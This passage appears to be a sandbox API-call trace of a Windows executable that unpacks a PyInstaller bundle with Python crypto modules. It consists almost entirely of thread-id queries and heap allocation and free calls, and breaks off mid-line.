GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c853a0, Size=0x20) returned 0x3028328 [0076.383] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c855c8, Size=0x20) returned 0x3028558 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.383] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.384] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de638, Size=0x14) returned 0x3183aa0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.385] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.386] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183b60, Size=0x10) returned 0x2c85328 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.387] GetCurrentThreadId () returned 0x9b0 [0076.388] GetCurrentThreadId () returned 0x9b0 [0076.388] GetCurrentThreadId () returned 0x9b0 [0076.388] GetCurrentThreadId () returned 0x9b0 [0076.388] GetCurrentThreadId () returned 0x9b0 [0076.388] GetCurrentThreadId () returned 0x9b0 [0076.390] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.390] GetFileType (hFile=0x300) returned 0x1 [0076.390] GetFileType (hFile=0x300) returned 0x1 [0076.390] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0076.391] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.391] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0076.391] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.391] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0076.391] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0076.391] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0076.391] CloseHandle (hObject=0x300) returned 1 [0076.391] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9b9378, lpFilePart=0x9b9374 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9b9374*="_file_system.pyc") returned 0x48 [0076.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0076.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.392] GetLastError () returned 0x0 [0076.392] GetLastError () returned 0x0 [0076.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0076.392] GetCurrentThreadId () returned 0x9b0 [0076.392] GetLastError () returned 0x0 [0076.392] GetLastError () returned 0x0 [0076.392] GetLastError () returned 0x0 [0076.392] GetLastError () returned 0x0 [0076.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c857f0 | out: hHeap=0x2ad0000) returned 1 [0076.392] LoadLibraryA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\..\\Hash\\_SHA256.pyd") [0076.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x303bed0 [0076.398] GetCurrentThreadId () returned 0x9b0 [0076.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0810 [0076.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdca98 [0076.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85730 [0076.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85610 [0076.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de688 [0076.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de558 [0076.398] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de688, Size=0x14) returned 0x3183c00 [0076.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0076.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85610 | out: hHeap=0x2ad0000) returned 1 [0076.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85730 | out: hHeap=0x2ad0000) returned 1 [0076.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c00 | out: hHeap=0x2ad0000) returned 1 [0076.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b0810 | out: hHeap=0x2ad0000) returned 1 [0076.399] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x2a19250 [0076.399] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028300, Size=0x40) returned 0x2a19298 [0076.399] GetCurrentThreadId () returned 0x9b0 [0076.399] GetLastError () returned 0x0 [0076.399] GetCurrentThreadId () returned 0x9b0 [0076.399] GetLastError () returned 0x0 [0076.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85898 | out: hHeap=0x2ad0000) returned 1 [0076.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x34b7df8 [0076.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.399] GetCurrentThreadId () returned 0x9b0 [0076.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85730 [0076.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85730 | out: hHeap=0x2ad0000) returned 1 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85628 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85628 | out: hHeap=0x2ad0000) returned 1 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85790 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85790 | out: hHeap=0x2ad0000) returned 1 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85898 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85898 | out: hHeap=0x2ad0000) returned 1 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c857a8 [0076.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c857a8 | out: hHeap=0x2ad0000) returned 1 [0076.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85850 [0076.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85850 | out: hHeap=0x2ad0000) returned 1 [0076.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x34b7df8 [0076.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0076.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.401] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3263088, Size=0x1) returned 0x33de788 [0076.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c856d0 [0076.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c856d0 | out: hHeap=0x2ad0000) returned 1 [0076.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c856a0 [0076.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c856a0 | out: hHeap=0x2ad0000) returned 1 [0076.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc74f0 [0076.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85820 [0076.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.402] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85820, Size=0x20) returned 0x30284e0 [0076.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.403] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a18c68 [0076.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.403] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c68, Size=0x64) returned 0x2a19818 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: hHeap=0x2ad0000) returned 1 [0076.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.404] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361de28 [0076.405] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0d38 [0076.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361de28 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.405] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.406] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0d38, Size=0xb8) returned 0x325f3b0 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d150 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d150 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.407] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f3b0, Size=0xe8) returned 0x33d0de0 [0076.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d598 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d598 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361cd08 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e270 [0076.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e270 | out: 